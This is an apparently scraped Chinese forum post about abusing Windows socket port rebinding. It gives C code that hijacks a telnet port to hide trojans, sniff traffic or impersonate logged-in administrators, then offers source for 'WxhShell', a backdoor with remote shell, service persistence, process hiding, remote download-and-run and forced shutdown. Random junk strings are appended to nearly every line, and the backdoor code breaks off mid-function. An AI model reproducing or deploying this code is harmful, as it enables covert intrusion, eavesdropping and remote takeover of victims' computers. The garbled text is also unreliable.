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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nX8ulGGs  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); QWE\Ud.q  
P3v4!tR  
  saddr.sin_family = AF_INET; LuVL <W  
$@84nR{>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); v>_83P`  
U^]@0vR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cUn>gT  
`> +:38  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =]1cVnPI  
=,8nfJ+x  
  这意味着什么?意味着可以进行如下的攻击: =MwR)CI#  
[}l#cG6 k  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 RDEK=^J  
]GD&EQ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) AuZISb%6  
\i\>$'f*z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 KyBtt47\  
8Wgzca Q*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  tJmy}.t1  
uvJ&qd8M  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 dA<_`GFR  
JL>DRIR%NV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %,e,KcP'  
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  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ctx>#uN6  
8,(--A  
  #include X"7x_ yOZ  
  #include N#XC%66qy!  
  #include b1QHZY\g{  
  #include    E<7$!P=z`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9Ais)Wy%p  
  int main() 2sp4Mm  
  { ! Y&]Y G  
  WORD wVersionRequested; ct<XKqbI  
  DWORD ret; m#4h5_N  
  WSADATA wsaData; AnK X4Q  
  BOOL val; ./^8L(  
  SOCKADDR_IN saddr; 8dC RSU  
  SOCKADDR_IN scaddr; (G(M"S SC  
  int err; >XX93  
  SOCKET s; fYpJ2y-sA  
  SOCKET sc; { ft |*  
  int caddsize; | GN/{KH]  
  HANDLE mt; {rn^  
  DWORD tid;   N-q6_  
  wVersionRequested = MAKEWORD( 2, 2 ); q$"?P  
  err = WSAStartup( wVersionRequested, &wsaData ); "c.-`1,t  
  if ( err != 0 ) { |~&cTDd  
  printf("error!WSAStartup failed!\n"); db&!t!#,  
  return -1; \S&OAe/b  
  } %(]B1Zg6,  
  saddr.sin_family = AF_INET; D1@yW} 4  
   |<O^M q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F{rC{5@fj  
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  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); uGHM ]"!)  
  saddr.sin_port = htons(23); I:6XM?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eu":\ks  
  { Z?V vFEt%  
  printf("error!socket failed!\n"); 7|jy:F,w%  
  return -1; JSmg6l?[u  
  } Ql9>i;AGV  
  val = TRUE; 1_l)$"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 pF9WKpzE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6/T/A+u  
  { P&<NcOCL&  
  printf("error!setsockopt failed!\n"); 'Gamb+[  
  return -1; $s-B  
  } H328I}7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ivB,s5<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,~DKU*A_~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )u4=k(  
]7oo`KcQ|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?GqH/ (O  
  { ydj*Jy'  
  ret=GetLastError(); g^7zDU&'  
  printf("error!bind failed!\n"); '-Oh$hqCx|  
  return -1; U#Iwe=  
  } .v+ W>  
  listen(s,2); dBS_N/  
  while(1) ~*]7f%L-  
  { _+H $Pa}?  
  caddsize = sizeof(scaddr); YB!f=_8  
  //接受连接请求 ?P4y$P  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V?mk*CU  
  if(sc!=INVALID_SOCKET) 4mtO"'|  
  { \(;u[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D,|TQ Q  
  if(mt==NULL) #2$wI^O  
  { -$_FKny  
  printf("Thread Creat Failed!\n"); J<4_<.o(a  
  break; ynZEJKo  
  } &9z&#`AY]>  
  }  Z'l!/l!  
  CloseHandle(mt); U<>@)0~7g!  
  } ZS=;)  
  closesocket(s); =sefT@<  
  WSACleanup(); !ZvVj\{  
  return 0; j>l  
  }   hJ8% r_  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~)[ pL(4  
  { 2oOos%0  
  SOCKET ss = (SOCKET)lpParam; IXlk1tHN4I  
  SOCKET sc; BE],PCpPr  
  unsigned char buf[4096]; uI& 0/  
  SOCKADDR_IN saddr; l!W!Gz0to  
  long num; (I(U23A~  
  DWORD val; _a|g >  
  DWORD ret; ^)a:D KL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 H8B2{]HAt  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;uv$>F auk  
  saddr.sin_family = AF_INET; r!w*y3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); % tC[q   
  saddr.sin_port = htons(23); Iza;~8dH5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SGba6b31  
  { 5|>ms)[RQ  
  printf("error!socket failed!\n"); i )$+#N  
  return -1; j]` hy"  
  } ~D`R"vzw=  
  val = 100; }_}    
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bj0<A  
  { m-+>h:1b|9  
  ret = GetLastError(); 5w{U/v$Z  
  return -1; #<U@SMv  
  } 9ZR"Lo>3e+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _qpIdQBo  
  { >{-rl@^H:  
  ret = GetLastError(); fe"w--v  
  return -1; >Z<ZT  
  } g_k95k3V'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b'` XFB#V  
  { 0pl'*r*9  
  printf("error!socket connect failed!\n"); "u&7Y:)^wr  
  closesocket(sc); \2#K {  
  closesocket(ss); Pn4jI(  
  return -1; Z_<NUPE  
  } vb]uO ' l  
  while(1) W(?J,8>  
  { 2V$Jn8v,`{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 lUp%1x+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 vjh'<5w9Wi  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 m=v.<+>  
  num = recv(ss,buf,4096,0); c&aqN\'4"  
  if(num>0) 4:733Q3oK  
  send(sc,buf,num,0); G`&P|xYg  
  else if(num==0) mA_EvzXk\  
  break; ;-l^X%r  
  num = recv(sc,buf,4096,0); |nr;OM  
  if(num>0) heB![N0:  
  send(ss,buf,num,0); 7;C~>WlU  
  else if(num==0) *f{4 _ts  
  break; k.Gt }\6zP  
  } gp~-n7'~O  
  closesocket(ss); N~or.i&a  
  closesocket(sc); Ol<LL#<j4  
  return 0 ; DT6 BFx  
  } $Fy~xMA8O  
g2*}XS 3  
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========================================================== .i*ja*   
S;2UcSsQl  
下边附上一个代码,,WXhSHELL 1rU\ !GfR  
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========================================================== i.[k"(  
QJ>=a./  
#include "stdafx.h" #)#'^MZX  
v<g#/X8  
#include <stdio.h> z&um9rXR  
#include <string.h> EG8z&^O x  
#include <windows.h> vl|3WYA  
#include <winsock2.h> z~v-8aw  
#include <winsvc.h> <5CQ#^ cK  
#include <urlmon.h> e%{7CR'~TD  
@E h(GZN  
#pragma comment (lib, "Ws2_32.lib") Q&%gpa ).W  
#pragma comment (lib, "urlmon.lib") m9jjKu]|  
;i+(Q%LO  
#define MAX_USER   100 // 最大客户端连接数 Z3ODZfu>  
#define BUF_SOCK   200 // sock buffer W=|'&UU Ul  
#define KEY_BUFF   255 // 输入 buffer ]^{5`  
0tMzVx S  
#define REBOOT     0   // 重启 NcX-* o  
#define SHUTDOWN   1   // 关机 ,'l.u?SKyd  
2"P1I  
#define DEF_PORT   5000 // 监听端口 qEdY]t   
vt5>>rl  
#define REG_LEN     16   // 注册表键长度 !y!s/i&P%  
#define SVC_LEN     80   // NT服务名长度 I<xcVY9L  
KK-+vq  
// 从dll定义API 6Q+VW_~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !ueh%V Ky  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A,= R`m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BP4vOZ0$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?o/p}6  
|BGzdBm^x:  
// wxhshell配置信息 Yx ;j  
struct WSCFG { 5`K'2  
  int ws_port;         // 监听端口 9{A*[.XK]  
  char ws_passstr[REG_LEN]; // 口令 \S~<C[P  
  int ws_autoins;       // 安装标记, 1=yes 0=no n iB<h  
  char ws_regname[REG_LEN]; // 注册表键名 U^-J_ yq  
  char ws_svcname[REG_LEN]; // 服务名 wjOqCF"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;[Eso p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o5Knot)Oy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [r'hX#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +s [_ 4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" soKR*gJ,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m^)\P?M5|  
fKuaom9  
}; A?)(^  
nRX<$OzTV  
// default Wxhshell configuration 3z8zZ1uzU  
struct WSCFG wscfg={DEF_PORT, +yHzp   
    "xuhuanlingzhe", +,D82V7S  
    1, 7bJM $  
    "Wxhshell", >S?7-2X  
    "Wxhshell", '64/2x  
            "WxhShell Service", jd 8g0^  
    "Wrsky Windows CmdShell Service", &N %-.&t'  
    "Please Input Your Password: ", eMH\]A~v"  
  1, *\Hut'7 d  
  "http://www.wrsky.com/wxhshell.exe", )%!X,  
  "Wxhshell.exe" yG>sBc  
    }; $ WWi2cI;  
o9v9 bL+X  
// 消息定义模块 ~i}/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DFGgyFay  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -**fT?n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %]O #t<D  
char *msg_ws_ext="\n\rExit."; ]7h;MR  
char *msg_ws_end="\n\rQuit."; !W=2ZlzS  
char *msg_ws_boot="\n\rReboot..."; vha@YPC=  
char *msg_ws_poff="\n\rShutdown..."; \nQEvcH  
char *msg_ws_down="\n\rSave to "; i'#%t/ u  
v\kd78,  
char *msg_ws_err="\n\rErr!"; V<REcII.  
char *msg_ws_ok="\n\rOK!"; >rh<%55P`  
+.hJ[|F1&  
char ExeFile[MAX_PATH]; (Pt*|@i2c  
int nUser = 0; _&xkj8O  
HANDLE handles[MAX_USER]; D,uT#P  
int OsIsNt; y|wR)\  
23q2u6.F`  
SERVICE_STATUS       serviceStatus; `7',RUj|D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; rO1.8KKJ  
N=:xyv  
// 函数声明 u)ZZ/|  
int Install(void); #mO.[IuD  
int Uninstall(void); vF@.B M>  
int DownloadFile(char *sURL, SOCKET wsh); |'#uV)b0@  
int Boot(int flag); +Pn`AV1  
void HideProc(void); k_%maJkXp  
int GetOsVer(void);  6AmFl<  
int Wxhshell(SOCKET wsl); a\I`:RO=<Z  
void TalkWithClient(void *cs); y"nC T3  
int CmdShell(SOCKET sock); Mz6|#P}.s  
int StartFromService(void); 9893{}\cB  
int StartWxhshell(LPSTR lpCmdLine); +T7FG_  
.>( qZEF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E95VR?nUg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?Ye%k  
]O+Nl5*  
// 数据结构和表定义 +Nka,C^O"  
SERVICE_TABLE_ENTRY DispatchTable[] = ;!>>C0s"  
{ cACnBgLl  
{wscfg.ws_svcname, NTServiceMain}, OL#RkD  
{NULL, NULL} V0:db  
}; VU|Cct&)  
jTY{MY Jh  
// 自我安装 e?-LB  
int Install(void) ]PXpzruy  
{ (8j@+J   
  char svExeFile[MAX_PATH]; ve= nh]N  
  HKEY key; S'v UxOAo  
  strcpy(svExeFile,ExeFile); H Sk}09GV  
DRi/<  
// 如果是win9x系统,修改注册表设为自启动 n L!nzA  
if(!OsIsNt) { faI4`.i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w~*"mZaG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TUVqQ\oF:  
  RegCloseKey(key); _n< @Jk~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9}Zi_xK&|e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E}=F   
  RegCloseKey(key); kc:2ID&  
  return 0; &oiBMk`*  
    }  eYRm:KC  
  } YA^g[,  
} Z?'){\$*  
else { knZ<V%/e  
1uhSP!b  
// 如果是NT以上系统,安装为系统服务 :y[tZ&*<_?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q|cA8Fn  
if (schSCManager!=0) oI%.oP}G  
{  \R<OT%8  
  SC_HANDLE schService = CreateService w9a6F  
  ( MT@Uu  
  schSCManager, GD .>u  
  wscfg.ws_svcname, 93#wU})  
  wscfg.ws_svcdisp, iD9hqiX&  
  SERVICE_ALL_ACCESS, MMUw+jM4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ::kpAE]  
  SERVICE_AUTO_START, JTB5#S4W  
  SERVICE_ERROR_NORMAL, BLhuYuON  
  svExeFile, ]dIr;x`  
  NULL, aA.TlG@zP  
  NULL, y<5xlN(+v  
  NULL, "'"dcA   
  NULL, #/`V.jXt>  
  NULL P(Hh%9'(  
  ); ZCVN+::Y  
  if (schService!=0) bpe WK&  
  { _Msaub!N  
  CloseServiceHandle(schService); /-ky'S9  
  CloseServiceHandle(schSCManager);  Z@`HFZJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O8ZHIs  
  strcat(svExeFile,wscfg.ws_svcname); PK* $  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .{W)E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sWnU*Q  
  RegCloseKey(key); YEqWTB|w  
  return 0; ^KMZB  
    } U9B|u`72  
  } _/!IjB:(70  
  CloseServiceHandle(schSCManager); c8jq.y v  
} %@FTg$  
} ^UK6q2[  
x_5H_! \#  
return 1; ];go?.*C  
} !P0Oq)q  
?wx|n_3<:  
// 自我卸载 1cdM^k  
int Uninstall(void) bdCpGG9  
{ etH%E aF[  
  HKEY key; hw&R .F  
*l^%7W rk  
if(!OsIsNt) { R#Bdfmld q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;=6~,k)  
  RegDeleteValue(key,wscfg.ws_regname); u-. _;  
  RegCloseKey(key); #`4ma:Pj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X;0DQnAI8j  
  RegDeleteValue(key,wscfg.ws_regname); I(Yyg,1Z  
  RegCloseKey(key); bmO[9 )G  
  return 0; ~dK)U*Q  
  } IPnbR)[%  
} &u_f:Pog  
} 6]^}GyM!  
else { ,tL<?6_  
L[*Xrp;/&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `=Hh5;ep  
if (schSCManager!=0) y85/qg) H^  
{ >2~q{e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K_B-KK(^  
  if (schService!=0) y8un&LP  
  { Y75,{1\l0  
  if(DeleteService(schService)!=0) { RW|3d<Fj  
  CloseServiceHandle(schService); X@)5F 9  
  CloseServiceHandle(schSCManager); {e?D6`#x  
  return 0; d1#;>MiU  
  } ~8Z0{^  
  CloseServiceHandle(schService); :_Y@,CpIEg  
  } GV([gs  
  CloseServiceHandle(schSCManager); igsJa1F  
} X &6p_Lo  
} @D rMaTr  
/E@|  
return 1; $R7n1  
} ?8n`4yO0  
DxT8;`I%  
// 从指定url下载文件 gX34'<Z  
int DownloadFile(char *sURL, SOCKET wsh) n-{G19?  
{ p/xxoU  
  HRESULT hr; snV,rZ  
char seps[]= "/"; s7<x~v+^  
char *token; FHI` /  
char *file; RI"A'/56  
char myURL[MAX_PATH]; -lm\~VZT3  
char myFILE[MAX_PATH]; 0p_/eWww-  
g~Zel}h#  
strcpy(myURL,sURL); ,\f!e#d  
  token=strtok(myURL,seps); `Q*L!/K+  
  while(token!=NULL) `|;R}"R;  
  { ;K0kQ<y-Y  
    file=token; W@1Nit-R  
  token=strtok(NULL,seps); ?*a:f"vQ  
  } 5TVDt  
C-$S]6  
GetCurrentDirectory(MAX_PATH,myFILE); 1 {dhGX  
strcat(myFILE, "\\"); n=n!Hn  
strcat(myFILE, file); _.OajE\T  
  send(wsh,myFILE,strlen(myFILE),0); ^'~+w3M@  
send(wsh,"...",3,0); }}v;V*_V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [|\~-6"7N|  
  if(hr==S_OK) b&Qj`j4]ZM  
return 0; jnX9] PkJ  
else )G0a72  
return 1; iU\WV  
%J?;@ G)r  
} |?SK.1pW  
:~pPB#)nk  
// 系统电源模块 m0W5Ogk  
int Boot(int flag) 1+PLj[;jJ:  
{ SqTO~zGC  
  HANDLE hToken; 37Z:WJ?  
  TOKEN_PRIVILEGES tkp; Y6/'gg'&5  
S\ ~Wpf  
  if(OsIsNt) { TDdFuO'}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U&|=dH]-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GM{m(Y  
    tkp.PrivilegeCount = 1; $cFanra  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jAmAT /1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VC\43A,9  
if(flag==REBOOT) { z1?7}9~`0c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6';'pHqe  
  return 0; T+m`a #  
} pIk&NI  
else { <1Vz QH!o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1_THBL26d  
  return 0; %< JjftNQ  
} 67Z|=B !7  
  } . Yg)|/  
  else { >z1RCQWju  
if(flag==REBOOT) { O2?ye4uq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7E4=\vM  
  return 0; eZ y)>.6Z  
}  ;OQ{  
else { |0ahvsrtW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l njaHol0  
  return 0; 3HC aZ?Ry'  
} v&%GK5j7O  
} ] FvN*@lG  
? r=cLC  
return 1; )R+@vh#Q<$  
} W\o(f W  
^_r8R__S:  
// win9x进程隐藏模块 eXWiTi@  
void HideProc(void) _) 2fXG!  
{ Zi[@xG8dm  
_=XzQZT!L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h*{{_3,  
  if ( hKernel != NULL ) qC40/1-m8K  
  { 6$w)"Rq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0n|op:]BHM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bN@V=C3  
    FreeLibrary(hKernel); ZkkXITQkPM  
  } wX" 6 S:  
5zX;/n~  
return; /i$E|[  
} _`|Hk2O  
/pZLt)=P  
// 获取操作系统版本 gX5I`mm  
int GetOsVer(void) dU\,>3tG  
{ V6?ku6k  
  OSVERSIONINFO winfo; xWD=",0+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wj9CL1Gx  
  GetVersionEx(&winfo);  qm&}^S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Id(o6j^J_  
  return 1; =xWZJ:UnU  
  else \zw0*;&U  
  return 0; 8P0XY S@  
} 7OYNH0EH  
:O)\v!Z  
// 客户端句柄模块 C 2Fklp6  
int Wxhshell(SOCKET wsl) Z!60n{T79c  
{ _ro^<V$%  
  SOCKET wsh; $R%xeih1fz  
  struct sockaddr_in client; 2Otd  
  DWORD myID; YA O, rh  
Wo2TU!  
  while(nUser<MAX_USER) 8i=J(5=  
{ ,5HQHo@  
  int nSize=sizeof(client); B1 oi]hDy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :XEP:8  
  if(wsh==INVALID_SOCKET) return 1; t&^9o $  
c_<m8b{AEF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X"YH49?  
if(handles[nUser]==0) R:P'QM   
  closesocket(wsh); Wc ]BQn  
else |X k'd@<  
  nUser++; _>%P};G{>  
  } 2i*-ET  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mBSa*s)  
W# E`h  
  return 0; 3t5`,R1@t  
} u;p{&\(]  
s3kHNDdC  
// 关闭 socket H%> E6rVB  
void CloseIt(SOCKET wsh) YwyP+S r\  
{ ~UX@%0%)N  
closesocket(wsh); (wU<Kpt?J  
nUser--; B> *zQb2:  
ExitThread(0); "<H.F 87Z)  
} -"[o|aa^  
y{+$B Y$_  
// 客户端请求句柄 :2iNw>z1  
void TalkWithClient(void *cs) h`X)sC+  
{ j}3Avu%  
eRc+.m[  
  SOCKET wsh=(SOCKET)cs; IL`X}=L_  
  char pwd[SVC_LEN]; 0B#9CxU%  
  char cmd[KEY_BUFF]; Y m=ihQ|  
char chr[1]; 2jV.\C k  
int i,j; x1</%y5ev  
56t9h/y  
  while (nUser < MAX_USER) { \7rFfN3  
c[J(H,mt/  
if(wscfg.ws_passstr) { W~(@*H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8TGO6oY+=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UjxEbk5>^  
  //ZeroMemory(pwd,KEY_BUFF); . >[d:0  
      i=0; cih@: =Qy  
  while(i<SVC_LEN) { |VxEW U/  
["Mq  
  // 设置超时 B,@geJ  
  fd_set FdRead; lx$]f)%~  
  struct timeval TimeOut; 'QW/TJ=7r  
  FD_ZERO(&FdRead); 6x|"1 G{  
  FD_SET(wsh,&FdRead); '8\7(0$c  
  TimeOut.tv_sec=8; V/5.37FSb  
  TimeOut.tv_usec=0; 6t/nM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P1KXvc}JGe  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m}&cXY  
vaN}M)W/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GSo&$T;B6  
  pwd=chr[0]; l]t9*a]a  
  if(chr[0]==0xd || chr[0]==0xa) { S`g:z b_  
  pwd=0; 1.*VliY  
  break; 3<.]+ukm  
  } (?R;u>  
  i++; TP7'tb  
    } q-kMqnQ  
IX@g].)C  
  // 如果是非法用户,关闭 socket 81Ixs Qt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3SI:su  
} 4g<F."  
h!.#r*vV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M &`ZF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :j_OO5b!  
,p2BB"^_i  
while(1) { #yz5CWu  
W[Kv Qt3%  
  ZeroMemory(cmd,KEY_BUFF); 8axz`2`  
!-%fCg(B  
      // 自动支持客户端 telnet标准   !kCMw%[  
  j=0; b-4g HW  
  while(j<KEY_BUFF) { ZslH2#   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Axp#8  
  cmd[j]=chr[0]; Mx? ]7tI  
  if(chr[0]==0xa || chr[0]==0xd) { y.,S}7l:  
  cmd[j]=0; GVS-_KP\  
  break; ZccQ{$0H  
  } Z9P rw/8P  
  j++; K5l#dl_T  
    } [O~' \ Q  
#m>Rt~(,S  
  // 下载文件 :lf;C T6$  
  if(strstr(cmd,"http://")) { $7M/rF;N5X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~DY5`jV  
  if(DownloadFile(cmd,wsh)) O`Ht|@[6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 0pt5O3]  
  else eyq\a'tyB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T.ZPpxY  
  } ">pW:apl%  
  else { WOqAVd\  
WZ}je!82  
    switch(cmd[0]) { HqM>K*XKU  
  "p]Fq,  
  // 帮助 +!_?f'kv`  
  case '?': { r=57,P(:Ca  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jvfVB'Tmr  
    break; j5hM |\]  
  } V[E7 mhqy  
  // 安装 C\.mv|aW~  
  case 'i': { p1}Y|m!  
    if(Install())  3Ee8_(E\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6AS'MD%&  
    else dFdll3bC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aJh=4j~.  
    break; e<_yr>9g"  
    } JtB"Dh  
  // 卸载 bpe8 `b(#  
  case 'r': { b1X.#pz7F  
    if(Uninstall()) PT2b^PP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "= H.$ +  
    else E>_?9~8Mf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  }qf9ra  
    break; *7`N^e  
    } @3D8TPH  
  // 显示 wxhshell 所在路径 e[`E-br^  
  case 'p': { @\~qXz{6J  
    char svExeFile[MAX_PATH]; !A R$JUnX  
    strcpy(svExeFile,"\n\r");  ]J= S\  
      strcat(svExeFile,ExeFile); C):RE<X  
        send(wsh,svExeFile,strlen(svExeFile),0); eFO+@  
    break; sOyWsXd+R'  
    } >z=_V|^$  
  // 重启 TmN}TMhZ  
  case 'b': { Y~RZf /`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  eiLtZQ  
    if(Boot(REBOOT)) doR'E=Z4h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &&1q@m,cP  
    else { 6{O#!o*g  
    closesocket(wsh); >.R6\>N%  
    ExitThread(0); B x(+uNQ  
    } ' pE %'8R  
    break; eYL7G-3  
    } 1'|6IR1'  
  // 关机 `_2#t1`u  
  case 'd': { f;/t7=>d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); * *?mZtF  
    if(Boot(SHUTDOWN)) /Vpd*obMB  
